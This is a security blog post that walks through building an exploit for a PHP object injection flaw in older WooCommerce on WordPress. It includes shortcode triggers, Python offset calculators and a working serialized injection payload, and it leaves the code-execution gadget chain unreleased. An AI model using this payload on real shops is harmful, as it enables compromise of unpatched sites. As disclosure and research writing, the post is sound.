Jack O'Sullivan
March 22 2021
The following versions are affected:
- WooCommerce version < 3.2.4
- WordPress version >= 4.8.3
RIPS declined to publish a working exploit with their advisory. This post describes the process undertaken to build a working exploit. It stops short of releasing fully functional exploit code. Even 3 months after the advisory that was seen as undesirable.
Advice for those running WooCommerce
Before we proceed. Our advice to people using an affected version of WooCommerce is to update to the latest level as soon as possible. What this blog post demonstrates is that, even when a vendor or researcher witholds exploit details, it is possible to generate the same exploits with a bit of effort. Delaying security updates because no exploit is currently available is an insecure posture.
Fundamental Concepts
The RIPS writeup goes in to detail about the root causes of this vulnerability. Key details are discussed here, however the RIPS article should be read to fully understand the issue.
In short, WordPress replaces every occurrence of the percent symbol in a SQL query with a 66-character, random placeholder. This change was implemented to mitigate a SQL Injection vulnerability in wpdb:prepare().
The WordPress function set_transient() is used for caching. It saves data, including serialized PHP objects, in the WordPress database. Within the WooCommerce get_products function, a transient is created which contains a SQL query. This query is constructed with various arguments and, crucially, contains the 66-character placeholders mentioned above. These placeholders get removed AFTER the object is serialized.
PHP serialization specifies the length of each element. An example serialized object is shown below:
1 |
a:3:{i:1;s:6: "elem 1" ;i:2;s:6: "elem 2" ;i:3;s:7: " elem 3" ;}
|
Here, the s:6:”elem 1”; component specifies that “elem 1” is a string which is 6 characters long.
As the placeholder characters are removed from the serialized SQL query AFTER serialization has occurred, the length of the query string specified in the serialized object will be incorrect. When the object is deserialized, PHP will read the specified number of characters and treat the data as a string. As stated in the RIPS writeup, it is possible to have this string end in user-controlled data, allowing an object deserialization attack to occur.
Development Environment
Varying-Vagrant-Vagrants (VVV) was used to run WordPress within vagrant. This is one of the WordPress recommended ways of setting up a development environment. Details can be found here.
Two WordPress plugins were used:
- Transients Manager – This allows stored transients to be viewed and modified
- PHP Object Injection Test – This plugin introduces an intentionally vulnerable object, which can be used to test for PHP object injection attacks without having access to a real pop chain.
Triggering the Exploit
Two elements are needed to trigger the vulnerability:
- An attacker controlled product, and a new post containing a WooComerce shortcode which includes percent symbols, such as [products skus=”ripstest, test%%”].
- This SKU can be any value but must match the one set in the attacker-controlled product.
When using the values mentioned in the RIPS writeup, the following object is cached using the WordPress transients system.
1
2
3
4
5
6
7
8
9 |
s:590:"SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:17:" This is a product";
|
The highlighted number shows the length that PHP expects the string containing the query to be, as well as the data we control (the product description). For us to inject a new object, we need the length value to fall somewhere inside the product description.
From the “S” in “SELECT” to the final character (the “t”) in the product description is 677 characters. This can be easily calculated using Python.
1
2
3
4
5
6
7
8
9
10
11
12 |
string = """SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ('ripstest','test%%') )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish')) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:"posts";a:1:{i:0;O:7:"WP_Post":24:{s:2:"ID";i:159;s:11:"post_author";s:1:"1";s:9:"post_date";s:19:"2018-03-22 15:28:20";s:13:"post_date_gmt";s:19:"2018-03-22 15:28:20";s:12:"post_content";s:17:"This is a product"""
l = len (string)
print "String Length: " + str (l)
|
When this object is unserialized, PHP will read 590 characters as a string, which will result in a broken object.
1
2
3
4
5
6
7
8
9 |
s:590:SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:17:" This is a product";
|
The highlighted text above will be interpreted as a string. The PHP deserializer will then attempt to unserialize the rest of the data, which is not in the correct format. An error will occur, and the attack will fail.
To reach the beginning of the product description, we need an offset of 661 characters. Each occurrence of the percent symbol adds 66 characters to the string length value. With the two percent characters from the RIPS writeup, we have a value of 590. We need more percent symbols. 590 + 66 is still less than the 661 characters that we need, so we need to add two more percent symbols.
Our WooCommerce short-code now becomes:
[products skus=”ripstest, test%%%%”]
When the transient generated for this post is viewed, we can see that the offset has increased. Note that using different names for the product SKU will result in different offsets.
1
2
3
4
5
6
7
8
9 |
s:722:"SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:17:" This is a product"
|
This offset gives us enough “space” to end the string within the “post_content” value and allow us to inject arbitrary objects.
Building a Payload
Now that we can inject our own data, we need to build a payload which will introduce our own PHP object, while still completing the existing object. The object stored in the WordPress transient must be a valid PHP object or the unserialize call will fail.
We first need to terminate the string value immediately after the 722 offset characters. We will need to add a buffer value to the product description so that the numbers align correctly. Again, we can calculate the size of our buffer using python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 |
string = """SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ('ripstest','test%%%%') )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish')) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:"posts";a:1:{i:0;O:7:"WP_Post":24:{s:2:"ID";i:132;s:11:"post_author";s:1:"1";s:9:"post_date";s:19:"2018-03-21 15:43:03";s:13:"post_date_gmt";s:19:"2018-03-21 15:43:03";s:12:"post_content";s:289:"A"""
l = len (string)
print "String Length: " + str (l)
r = 722 - l
print "Remaining: " + str (r)
print "Printing Buffer"
print 'D' * r
|
This code will generate a buffer which will take us to the end of the specified string length (722 in this case).
Setting this buffer as our product description gives us the following serialized object.
1
2
3
4
5
6
7
8
9 |
s:722:"SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:58:" DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
|
The highlighted text is now 722 characters long and will be treated as a string when the object is deserialized. Anything we add to the description after this buffer will be injected code.
We now need to look at a bit more of the serialized object stored in the WordPress transients system. For PHP to deserialize an object, it must have a matched number of key/value pairs.
1
2
3
4
5
6
7
8
9 |
s:10: "date_query" ;b:0;s:7: "request" ;s:722:"SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:58:" DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ";s:10:" post_title ";s:4:" RIPS";
|
We are forcing PHP to treat the highlighted section as one string value. This text would normally contain several other values, which would form part of the deserialized object. We can use a simple PHP script to help us build an injection payload which is valid when passed to the PHP unserialize call.
1
2
3
4 |
$string = file_get_contents ( 'd.txt' );
$unserialized = unserialize( $string );
print $unserialized ;
|
d.txt contains full PHP serialized object, taken from the WordPress transients manager.
When executed, this script will show any errors coming from the PHP unserialize call. After some trial and error, we end up with the following payload:
1 |
";s:1:" A ";O:20:" PHP_Object_Injection ":0:{};s:1:" A ";s:1:" A
|
The highlighted code is a new PHP object, which creates a new object of type PHP_Object_Injection. This object is provided by the Object Injection Test WordPress plugin and has a simple “Wakeup” function that prints a message and exits.
1
2
3
4
5 |
class PHP_Object_Injection {
function __wakeup() {
exit ( 'PHP object injection has occurred.' );
}
}
|
This payload first closes the String value at the end of our buffer, we then add a new string, one character long, to balance out the number of key/value pairs. Next, we add our injection payload (the new object).
As we are injecting into an existing string, we must close the string correctly. Looking at where our buffer ends, we can see that a “; sequence is left. We must account for this when finishing our injection payload. The final key/value pair we add accounts for this by leaving off the final double quote and semi-colon.
When viewed in Transient Manager, we can see our finished injection payload:
1
2
3
4
5
6
7
8
9 |
s:722:"SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND (
wp_posts.ID NOT IN (
SELECT object_id
FROM wp_term_relationships
WHERE term_taxonomy_id IN (7)
)
) AND (
( wp_postmeta.meta_key = '_sku' AND wp_postmeta.meta_value IN ( 'ripstest' , 'test%%%%' ) )
) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish' )) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC ";s:5:" posts ";a:1:{i:0;O:7:" WP_Post ":24:{s:2:" ID ";i:159;s:11:" post_author ";s:1:" 1 ";s:9:" post_date ";s:19:" 2018-03-22 15:28:20 ";s:13:" post_date_gmt ";s:19:" 2018-03-22 15:28:20 ";s:12:" post_content ";s:115:" DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ";s:1:" A ";O:20:" PHP_Object_Injection ":0:{};s:1:" A ";s:1:" A ";s:10:" post_title ";s:4:" RIPS";
|
Our final payload becomes:
1 |
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ";s:1:" A ";O:20:" PHP_Object_Injection ":0:{};s:1:" A ";s:1:" A
|
We can very verify this payload is working by creating a new product with the payload string as the description, adding the short-code tags to a new post and viewing the new post. We need to view the post twice, as the first view caches the poisoned object and the second view triggers the unserialize call. The result is shown below.
To create a fully weaponized exploit, we need to find a gadget chain which allows arbitrary code to be executed. To avoid releasing a fully working exploit, this is left as an exercise for the reader. The vulnerable version of Woo Commerce has everything you need to make this work...